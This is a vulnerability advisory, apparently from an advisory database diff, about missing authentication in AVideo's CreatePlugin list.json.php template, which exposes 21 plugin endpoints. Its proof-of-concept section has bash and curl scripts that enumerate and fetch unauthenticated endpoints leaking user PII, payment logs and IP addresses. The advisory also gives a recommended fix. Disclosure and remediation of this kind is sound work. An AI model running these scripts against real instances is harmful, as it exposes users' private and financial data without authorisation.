+ "details": "## Summary\n\nThe AVideo `CreatePlugin` template for `list.json.php` does not include any authentication or authorization check. While the companion templates `add.json.php` and `delete.json.php` both require admin privileges, the `list.json.php` template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.\n\n## Details\n\nThe `list.json.php` template in `CreatePlugin/templates/` lacks any authentication check. Comparing with the sibling templates:\n\n```php\n// CreatePlugin/templates/add.json.php:12\nif (!User::isAdmin()) {\n die('{\"error\": \"Must be admin\"}');\n}\n\n// CreatePlugin/templates/delete.json.php:11\nif (!User::isAdmin()) {\n die('{\"error\": \"Must be admin\"}');\n}\n\n// CreatePlugin/templates/list.json.php\n// NO authentication check - accessible to anyone\n```\n\nThis template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated `list.json.php` inherits the missing auth check, exposing the table contents to unauthenticated requests.\n\nConfirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:\n\n```\nGET /plugin/Meet/View/Meet_join_log/list.json.php HTTP/1.1\n```\n\nResponse (HTTP 200):\n\n```json\n{\n \"data\": [\n {\n \"id\": 1,\n \"users_id\": 42,\n \"ip\": \"REDACTED\",\n \"user_agent\": \"Mozilla/5.0 ...\",\n \"created\": \"2025-01-15 14:32:00\",\n \"room_name\": \"private-meeting-xyz\"\n }\n ]\n}\n```\n\nThe 21 affected endpoints generated from this template include:\n\n| Endpoint | Exposed Data |\n|----------|-------------|\n| `plugin/Meet/View/Meet_join_log/list.json.php` | User IDs, IP addresses, user agents, timestamps, room names |\n| `plugin/PayPalYPT/View/PayPalYPT_log/list.json.php` | PayPal transaction logs, payment amounts, buyer info |\n| `plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php` | Payment webhook data, transaction details |\n| `plugin/CustomizeUser/View/Users_extra_info/list.json.php` | Extended user profile data, PII fields |\n| `plugin/UserNotifications/View/User_notifications/list.json.php` | User notification records, activity patterns |\n| `plugin/UserConnections/View/Users_connections/list.json.php` | Social connection graphs between users |\n| And 15+ additional plugin endpoints | Various internal records |\n\n## Proof of Concept\n\n**Step 1:** Enumerate accessible list endpoints (no authentication required):\n\n```bash\n#!/bin/bash\nTARGET=\"https://your-avideo-instance.com\"\n\nENDPOINTS=(\n \"plugin/Meet/View/Meet_join_log/list.json.php\"\n \"plugin/PayPalYPT/View/PayPalYPT_log/list.json.php\"\n \"plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php\"\n \"plugin/CustomizeUser/View/Users_extra_info/list.json.php\"\n \"plugin/UserNotifications/View/User_notifications/list.json.php\"\n \"plugin/UserConnections/View/Users_connections/list.json.php\"\n)\n\nfor endpoint in \"${ENDPOINTS[@]}\"; do\n echo \"=== $endpoint ===\"\n HTTP_CODE=$(curl -s -o /tmp/avi037_response.json -w \"%{http_code}\" \"$TARGET/$endpoint\")\n echo \"Status: $HTTP_CODE\"\n if [ \"$HTTP_CODE\" = \"200\" ]; then\n echo \"VULNERABLE - Data returned:\"\n python3 -m json.tool /tmp/avi037_response.json 2>/dev/null | head -20\n fi\n echo \"\"\ndone\n```\n\n**Step 2:** Retrieve paginated results from a specific endpoint:\n\n```bash\n# Fetch meeting join logs with pagination\ncurl -s \"https://your-avideo-instance.com/plugin/Meet/View/Meet_join_log/list.json.php?length=100&start=0\" \\\n | python3 -m json.tool\n\n# Fetch payment logs\ncurl -s \"https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php?length=100&start=0\" \\\n | python3 -m json.tool\n```\n\n**Step 3:** Discover additional vulnerable endpoints by scanning plugin directories:\n\n```bash\ncurl -s \"https://your-avideo-instance.com/plugin/\" \\\n | grep -oP 'href=\"([^\"]+)/\"' \\\n | while read plugin; do\n PLUGIN_NAME=$(echo \"$plugin\" | grep -oP '\"([^\"]+)/\"' | tr -d '\"/')\n URL=\"$TARGET/plugin/$PLUGIN_NAME/View/\"\n curl -s \"$URL\" | grep -oP 'href=\"([^\"]+)/\"' | while read view; do\n VIEW_NAME=$(echo \"$view\" | grep -oP '\"([^\"]+)/\"' | tr -d '\"/')\n LIST_URL=\"$TARGET/plugin/$PLUGIN_NAME/View/$VIEW_NAME/list.json.php\"\n CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \"$LIST_URL\")\n [ \"$CODE\" = \"200\" ] && echo \"FOUND: $LIST_URL\"\n done\n done\n```\n\n## Impact\n\n21 data listing endpoints across AVideo plugins are accessible without any authentication. An unauthenticated attacker can retrieve:\n\n- **User PII**: Extended profile information, email addresses, user IDs\n- **Payment data**: PayPal and Authorize.Net transaction logs, payment amounts, buyer details\n- **Access logs**: IP addresses, user agents, timestamps, and behavioral patterns from meeting join logs\n- **Social graphs**: User connection and relationship data\n- **Activity records**: Notification history revealing user behavior patterns\n\nThis is a systemic vulnerability originating from the code generation template, meaning every plugin created with the CreatePlugin generator will have the same issue unless the developer manually adds authentication. The template itself should be fixed to prevent future plugins from inheriting this flaw.\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **Severity**: Medium\n\n## Recommended Fix\n\nAdd an admin authentication check to `CreatePlugin/templates/list.json.php` after the require lines, matching the pattern used in `add.json.php` and `delete.json.php`:\n\n```php\n// CreatePlugin/templates/list.json.php (after the require lines)\nif (!User::isAdmin()) {\n die(json_encode(['error' => true]));\n}\n```\n\nThis fixes the template for future plugins. Additionally, retroactively patch all 21 existing generated `list.json.php` endpoints by adding the same admin check after their require lines.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
0 commit comments